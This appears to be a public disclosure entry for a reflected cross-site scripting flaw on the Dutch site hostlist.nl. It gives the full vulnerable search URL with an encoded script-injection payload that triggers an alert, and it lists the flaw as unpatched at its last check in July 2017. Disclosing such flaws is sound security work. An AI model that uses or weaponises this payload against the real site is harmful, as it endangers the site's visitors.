hostlist.nl XSS vulnerability

Vulnerable URL: http://www.hostlist.nl/zoeken.html?cx=006610824549092612270%3Aprxtndvzmro=FORID%3A10=UTF-8=%22%3E%3Cscript%3Ealert%28%27XSSPOSED%27%29%3C%2Fscript%3E=Zoeken Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS Vulnerability...